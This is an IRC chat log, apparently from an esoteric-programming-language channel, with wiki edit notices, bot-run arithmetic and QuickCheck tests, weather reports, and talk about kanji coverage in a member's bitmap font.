07:46:10 -!- heroux has joined.
07:53:07  [wiki] [[UberGenes]]  http://esolangs.org/w/index.php?diff=45616&oldid=45615 * Quintopia * (+130) /* Examples */
07:55:22 -!- ^v has quit (Ping timeout: 250 seconds).
08:02:05  [wiki] [[UberGenes]]  http://esolangs.org/w/index.php?diff=45617&oldid=45616 * Quintopia * (+0) /* Python 2 */ wiki don't like ''
08:03:47  Do you know what kind of tricks can be done with a madness ability?
08:14:39  > 84+26*10
08:14:41   344
08:14:52  hmph
08:15:10  oh
08:15:17  > 84+18*11
08:15:19   282
08:17:17  so not above 300
08:43:16  [wiki] [[Aubergine/aubergine.py]]  http://esolangs.org/w/index.php?diff=45618&oldid=45452 * Quintopia * (+0) bugfix
08:51:06 -!- Wallacoloo has joined.
09:04:48  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45619&oldid=45591 * Quintopia * (+229) /* Examples */
09:09:37 * oerjan concludes no letter is above 100
09:10:30  which also eliminates the question of whether to use "and" after the hundreds
09:13:08  and would fix A and D except for whether to use "and" or "&" before the one Z
09:14:32 -!- Phantom_Hoover has joined.
09:17:58  mornign
09:18:17  mningor
09:34:04  oerjan: you're out of order
09:34:59  dnar
09:35:55  fungot, good morning
09:35:55  b_jonas: ( afaiu) course. don't know if that extends to my isdn connection)
09:36:07  ISDN CONNECTION?
09:36:14  that explains why fungot sometimes reacts so slowly
09:36:14  b_jonas: on fnord? wouldn't a box, refrigerator, or at mit? we ( waterloo) beat you at the conference later....'
09:36:40  ^style
09:36:40  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
10:44:33  \oren\: add these https://github.com/highvoltage/shello/blob/master/shello.sh#L57
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11:29:48  @tell ais523  giving you 9**3 possibilities <-- 3**9 hth
11:29:48  Consider it noted.
11:31:42  @check \x y -> (x > 0 && y > x) ==> (x ** y > y ** x)
11:31:44   *** Failed! Falsifiable (after 5 tests and 10 shrinks):
11:31:44   143.8179375507593 7074.224045838542
11:31:48  hmph
11:32:23  @check \x y -> (x > 0 && y > x && not (isInfinity (x ** y)) ==> (x ** y > y ** x)
11:32:23   .hs: 1: 75:Parse error: EOF
11:32:28  @check \x y -> (x > 0 && y > x && not (isInfinity (x ** y))) ==> (x ** y > y ** x)
11:32:30   Not in scope: ‘isInfinity’
11:32:30   Perhaps you meant one of these: ‘isInfinite’ (imported from Prelude), ‘infin...
11:32:37  @check \x y -> (x > 0 && y > x && not (isInfinite (x ** y))) ==> (x ** y > y ** x)
11:32:39   *** Failed! Falsifiable (after 1 test and 2149 shrinks):
11:32:39   0.4089889678803982 14.274412076418368
11:32:43  bah
11:33:06  @check \x y -> (x > 1 && y > x && not (isInfinite (x ** y))) ==> (x ** y > y ** x)
11:33:08   *** Failed! Falsifiable (after 18 tests and 23 shrinks):
11:33:08   1.1743091876384109 11.511501398312754
11:33:32  @check \x y -> (x > 2 && y > x && not (isInfinite (x ** y))) ==> (x ** y > y ** x)
11:33:33   *** Gave up! Passed only 80 tests.
11:33:42  ALMOST TRUE
11:34:35 -!- boily has joined.
11:34:37  SNOOOOOOOOOOOOOOOOOOW!
11:34:49  @metar ENVA
11:34:49  ENVA 241120Z 12008KT CAVOK 02/00 Q0994 NOSIG RMK WIND 670FT 15008KT
11:34:54  SNOOOW MELTING
11:35:22 -!- Wallacoloo has left.
11:37:21  It's been years since I've seen snow
11:38:32  @metar CYUL
11:38:32  CYUL 241136Z 08006KT 4SM -SN BKN016 OVC035 M05/M07 A3026 RMK SC6SC2 SLP250
11:38:43  the -SNing has begun.
11:38:53  Tanelle. Where are you now?
11:39:44  Old York
11:40:09  Apparently it snowed the other night, but I was asleep and it didn't lie
11:42:01  hmm
11:42:05  I need to
11:42:43  do lots of stuff
11:50:19  \oren\: ah, I see you added a lot of new kanji to your bitmap font while I wasn't looking
11:52:46 -!- Patashu has quit (Ping timeout: 272 seconds).
11:59:18  \oren\: have you done a counting for who many of the grade 1 and 2 Kyōiku kanji you have in the font?
12:14:07 -!- oerjan has quit (Quit: Later).
12:15:47  the \oren\font has ꙮ ^^
12:16:46  `unidecode ꙮ
12:16:46  ​[U+A66E CYRILLIC LETTER MULTIOCULAR O]
12:20:19  boily: yes, it does
12:20:33  that was one of the earlier characters he's added, relatively speaking
12:22:20  \oren\: ah, I compared, and it seems you only have two characters missing from grade 1 and 2 together: 教 数
12:23:48  \oren\: in that case, I propose that you add those two, to complete the collection
12:30:00  there's a sharp cut, because you have less than half of the grade 3 kanji
12:30:57 -!- boily has quit (Quit: STICKER CHICKEN).
12:33:21  (you can find interesting stuff in HTML comments on public webpages)
12:38:15  hehe, a CSS file that starts with '